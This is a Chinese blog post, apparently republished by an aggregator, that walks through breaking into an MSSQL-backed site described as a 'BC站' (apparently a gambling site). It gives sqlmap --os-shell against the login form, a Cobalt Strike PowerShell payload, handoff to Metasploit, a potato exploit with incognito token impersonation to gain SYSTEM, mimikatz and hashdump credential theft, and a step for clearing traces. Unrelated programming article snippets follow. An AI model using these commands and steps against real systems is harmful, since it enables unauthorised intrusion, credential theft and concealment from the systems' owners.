运维知识点-SQLServer/mssql

在这里插入图片描述

SQLServer/mssql

  • Microsoft structed query language
    • 常见注入
    • 提权
  • 技术点:
    • 0x00 打点前提
  • 0x01 上线CS
  • 0x02 提权
  • 0x03 转场msf
  • 0x04 抓取Hash
  • 0x05 清理痕迹

Microsoft structed query language

常见注入

基于联合查询注入 order by 判断列数(对应数据类型)
报错 (数据类型转换报错) convert(int,str) object_id xxxx
bool and 1=1 and 1=2
时间 if(ascii(substring(db_name(),1,1)))>101 waitfor delay ‘00:00:03’;
堆叠 (另起一个sql语句)

提权

xp_cmdshell 自带命令执行
trigger 触发器控制对特定表执行增删改查,可以调用xp_cmdshell来执行特定命令。
sp_oacreate 调用模块 wscript.shell 增加新用户为管理
job 计划任务 先开启代理服务 创建任务 执行任务

技术点:

云盾躲避
cs / msf 配合上线
提权

0x00 打点前提

BC站 登录界面
在这里插入图片描述
sqlmap 直接跑 sql盲注

 sqlmap -u "http://127.0.0.1/Login/index " --form --batch --os-shell

在这里插入图片描述
在这里插入图片描述
os-shell

在这里插入图片描述

0x01 上线CS

Cobalt Strike

● 创建监听
在这里插入图片描述
生成一个Powershell command的木马

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
丢到刚刚的shell命令行里面去
在这里插入图片描述
在这里插入图片描述
● 查看权限
当前的shell权限,只有nt service\mssqlserver,权限很低在这里插入图片描述

0x02 提权

在这里插入图片描述

● 查看补丁
安装了154个补丁

 修补程序:         安装了 154 个修补程序。
                  [01]: KB2959936
                  [02]: KB3191564
                  [03]: KB2896496
                  [04]: KB2919355
                  [05]: KB2920189
                  [06]: KB2928120
                  [07]: KB2931358
                  [08]: KB2931366
                  [09]: KB2933826
                  [10]: KB2938066
                  [11]: KB2938772
                  [12]: KB2949621
                  [13]: KB2954879
                  [14]: KB2958262
                  [15]: KB2958263
                  [16]: KB2961072
                  [17]: KB2965500
                  [18]: KB2966407
                  [19]: KB2967917
                  [20]: KB2971203
                  [21]: KB2971850
                  [22]: KB2973351
                  [23]: KB2973448
                  [24]: KB2975061
                  [25]: KB2976627
                  [26]: KB2977629
                  [27]: KB2981580
                  [28]: KB2987107
                  [29]: KB2989647
                  [30]: KB2989930
                  [31]: KB2998527
                  [32]: KB3000850
                  [33]: KB3003057
                  [34]: KB3004545
                  [35]: KB3008242
                  [36]: KB3011780
                  [37]: KB3012702
                  [38]: KB3013172
                  [39]: KB3013410
                  [40]: KB3013538
                  [41]: KB3013769
                  [42]: KB3013791
                  [43]: KB3013816
                  [44]: KB3014442
                  [45]: KB3019978
                  [46]: KB3021674
                  [47]: KB3023266
                  [48]: KB3024751
                  [49]: KB3024755
                  [50]: KB3027209
                  [51]: KB3030947
                  [52]: KB3031044
                  [53]: KB3033446
                  [54]: KB3034348
                  [55]: KB3035126
                  [56]: KB3036612
                  [57]: KB3038002
                  [58]: KB3042058
                  [59]: KB3042085
                  [60]: KB3043812
                  [61]: KB3044374
                  [62]: KB3044673
                  [63]: KB3045634
                  [64]: KB3045685
                  [65]: KB3045717
                  [66]: KB3045719
                  [67]: KB3045755
                  [68]: KB3045999
                  [69]: KB3046017
                  [70]: KB3046737
                  [71]: KB3048043
                  [72]: KB3054169
                  [73]: KB3054203
                  [74]: KB3054256
                  [75]: KB3054464
                  [76]: KB3055323
                  [77]: KB3055343
                  [78]: KB3055642
                  [79]: KB3059317
                  [80]: KB3060681
                  [81]: KB3060793
                  [82]: KB3061512
                  [83]: KB3063843
                  [84]: KB3071756
                  [85]: KB3077715
                  [86]: KB3078405
                  [87]: KB3078676
                  [88]: KB3080149
                  [89]: KB3081320
                  [90]: KB3082089
                  [91]: KB3084135
                  [92]: KB3084905
                  [93]: KB3086255
                  [94]: KB3087137
                  [95]: KB3091297
                  [96]: KB3092601
                  [97]: KB3092627
                  [98]: KB3094486
                  [99]: KB3095701
                  [100]: KB3099834
                  [101]: KB3100473
                  [102]: KB3102429
                  [103]: KB3102939
                  [104]: KB3103616
                  [105]: KB3103696
                  [106]: KB3103709
                  [107]: KB3109103
                  [108]: KB3109976
                  [109]: KB3110329
                  [110]: KB3115224
                  [111]: KB3121261
                  [112]: KB3123245
                  [113]: KB3126041
                  [114]: KB3126434
                  [115]: KB3126587
                  [116]: KB3126593
                  [117]: KB3132080
                  [118]: KB3133043
                  [119]: KB3133690
                  [120]: KB3134179
                  [121]: KB3134815
                  [122]: KB3137728
                  [123]: KB3138602
                  [124]: KB3139164
                  [125]: KB3139398
                  [126]: KB3139914
                  [127]: KB3140219
                  [128]: KB3140234
                  [129]: KB3144850
                  [130]: KB3145384
                  [131]: KB3145432
                  [132]: KB3146604
                  [133]: KB3146723
                  [134]: KB3146751
                  [135]: KB3147071
                  [136]: KB3149157
                  [137]: KB3155784
                  [138]: KB3156059
                  [139]: KB3159398
                  [140]: KB3161949
                  [141]: KB3162343
                  [142]: KB3172614
                  [143]: KB3172729
                  [144]: KB3175024
                  [145]: KB3178539
                  [146]: KB3179574
                  [147]: KB3185319
                  [148]: KB4033428
                  [149]: KB4483187
                  [150]: KB4486105
                  [151]: KB4486107
                  [152]: KB5001403
                  [153]: KB5007154
                  [154]: KB5008263
网卡:             安装了 1 个 NIC。
                  [01]: Red Hat VirtIO Ethernet Adapter
                      连接名:      以太网
                      启用 DHCP:

使用ms16-075试试
在这里插入图片描述

查看AV
在这里插入图片描述

https://mrxn.net/avlist/
在这里插入图片描述

有阿里云盾

0x03 转场msf

● 新建 payload
选择 Foreign HTTP

在这里插入图片描述
在msf上使用

在这里插入图片描述

● CS 新建会话

在这里插入图片描述
选择你的会话即可派生会话

在这里插入图片描述
在msf上等到会话连接(注意:域前置貌似无法派生会话)

在这里插入图片描述

在这里插入图片描述
权限依旧很低,在CS里面使用文件浏览上传烂土豆

在这里插入图片描述
在这里插入图片描述

● 在当前会话里面,开始提权:

 cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌
impersonate_token "administrator的令牌"

在这里插入图片描述
拿到了system权限

0x04 抓取Hash

 load mimikatz
creds_all

在这里插入图片描述
在这里插入图片描述
使用msf自带的:run post/windows/gather/smart_hashdump

在这里插入图片描述
直接登录

0x05 清理痕迹

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/202202.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

从0开始学习JavaScript--JavaScript 单例模式

单例模式是一种常见的设计模式,它保证一个类仅有一个实例,并提供一个全局访问点。在 JavaScript 中,单例模式通常用于创建唯一的对象,以确保全局只有一个实例。本文将深入探讨单例模式的基本概念、实现方式,以及在实际…

const 和 constexpr 深入学习

在 C 中,const 和 constexpr 都可以用来修饰对象和函数。修饰对象时,const 表示它是常量,而 constexpr 表示它是一个常量表达式。常量表达式必须在编译时期被计算1。修饰函数时,const 只能用于非静态成员的函数,而 con…

Secure Software Lifecycle Management (SSLM)安全软件生命周期管理

文章目录 前言一、现代理念二、安全的软件生命周期管理总结 前言 The concept of integrating security into the software development process is not new. While I cannot definitively assert that Microsoft was the pioneer of this concept, the Secure Development Li…

清理docker Build Cache缓存文件

使用docker构建镜像,发现docker的overlay2文件会越来越大。 使用命令查看docker系统占用资源: docker system df 可以看到已经占用了26.7GB,清理这个缓存 docker builder prune 再次查看,已经没有缓存了,清理成功。 …

【UE】中文字体 发光描边材质

效果 步骤 1. 先将我们电脑中存放在“C:\Windows\Fonts”路径下的字体导入UE 点击“全部选是” 导入成功后如下 2. 打开导入的“SIMSUN_Font”,将字体缓存类型设置为“离线” 点击“是” 这里我选择:宋体-常规-20 展开细节面板中的导入选项 勾选“使用距…

Redis缓存淘汰策略

Redis缓存淘汰策略 1、各种面试题 生产上你们的redis内存设置多少?如何配置、修改redis的内存大小如果内存满了你怎么办?redis清理内存的方式?定期删除和惰性删除了解过吗?redis缓存淘汰策略有哪些?分别是什么?你用哪个?redis的LRU了解过吗?请手…

FastApi接收不到Apifox发送的from-data字符串_解决方法

接收不到Apifox发送的from-data字符串_解决方法 问题描述解决方法弯路总结弯路描述纵观全局小结 问题描述 这里写了一个接口,功能是上传文件,接口参数是file文件和一个id字符串 gpt_router.post("/uploadfiles") async def create_upload_fi…

基于ora2pg迁移Oracle19C到postgreSQL14

📢📢📢📣📣📣 哈喽!大家好,我是【IT邦德】,江湖人称jeames007,10余年DBA及大数据工作经验 一位上进心十足的【大数据领域博主】!😜&am…

linux socket套接字

文章目录 socket流socket(TCP)数据报socket(UDP) 讨论 socket 所谓套接字,就是对网络中不同主机上的应用程序之间进行双向通信的端点的抽象。一个套接字就是网络上进程通信的一端,套接字提供了应用层进程利…

AI - FlowField(流场寻路)

FlowField流场寻路,利用网格存储每个点对目标点的推力,网格上的单位根据对于推力进行移动。用于大量单位进行寻路对于同一目的地的寻路,常用于rts游戏等。 对应一张网格地图(图中黑块是不可行走区域) 生成热度图 计算所有网格对于目标点(…

【Flutter】graphic图表实现tooltip一段时间后自动隐藏

概述 graphic图表中提供了自定义tooltip的事件,可通过selections中on和clear配置手势选项和可识别设备,默认情况下tooltip需要双击隐藏,但这并不符合我们的需求。通过调研发现,若想实现tooltip隔几秒后隐藏,可通过Str…

西工大网络空间安全学院计算机系统基础实验一(9, 10, 11, 12, 13)

还是那句话,专心做好你自己的,老老实实把基础打好,不要被其他人带跑节奏,不要跟他打,跟着这系列博客,稳扎稳打一步一步来。即使你VMware workstation没下载好,即使你Ubuntu虚拟机没配好&#xf…

【数据挖掘】国科大刘莹老师数据挖掘课程作业 —— 第三次作业

Written Part 1. 基于表 1 1 1 回答下列问题(min_sup40%, min_conf75%): Transaction IDItems Bought0001{a, d, e}0024{a, b, c, e}0012{a, b, d, e}0031{a, c, d, e}0015{b, c, e}0022{b, d, e}0029{c, d}0040{a, b, c}0033{a, d, e}0038…

【计算机网络笔记】交换机

系列文章目录 什么是计算机网络? 什么是网络协议? 计算机网络的结构 数据交换之电路交换 数据交换之报文交换和分组交换 分组交换 vs 电路交换 计算机网络性能(1)——速率、带宽、延迟 计算机网络性能(2)…

Vue3依赖注入

适用场景 尤其针对一个变量需要从顶层组件开始透传,途径很多个子组件最后在第n代子组件使用的时候。对于这些途经的子组件而言,它们不但不使用而且完全不关心该变量具体是什么,只是作为一个传递工具罢了。这种情况下,使用依赖注入…

asla四大开源组件应用示例(alsa-lib、alsa-utils、alsa-tools、alsa-plugins)

文章目录 alsa设备文件/dev/snd//sys/class/sound/proc/asoundalsa-lib示例1alsa-utilsalsa-toolsalsa-plugins参考alsa设备文件 /dev/snd/ alsa设备文件目录位于,/dev/snd,如下所示 root@xboard:~#ls /dev/snd -l total 0 drwxr-xr-x 2 root root 60 Nov 6 2023 …

vuepress-----7、发布在GitHub

# 7、发布在GitHub 在你的项目中,创建一个如下的 deploy.sh 文件(请自行判断去掉高亮行的注释): #!/usr/bin/env sh# 确保脚本抛出遇到的错误 set -e# 生成静态文件 npm run docs:build# 进入生成的文件夹 cd docs/.vuepress/dist# 如果是发…

PTA_2023年软件设计综合实践_10(回溯法与分治限界法)

7-1 桥本分数 将1-9九个数不重复地赋给不同的9个元素 ,实现形如a/bcd/eff/hi 的形式。例:1/265/784/39 1/325/967/84 (注意:1/265/784/39 和5/781/264/39 只能算一种解),共有多少种不同的解。 语言选C #…

36 - 电商系统表设计优化案例分析

如果在业务架构设计初期,表结构没有设计好,那么后期随着业务以及数据量的增多,系统就很容易出现瓶颈。如果表结构扩展性差,业务耦合度将会越来越高,系统的复杂度也将随之增加。这一讲我将以电商系统中的表结构设计为例…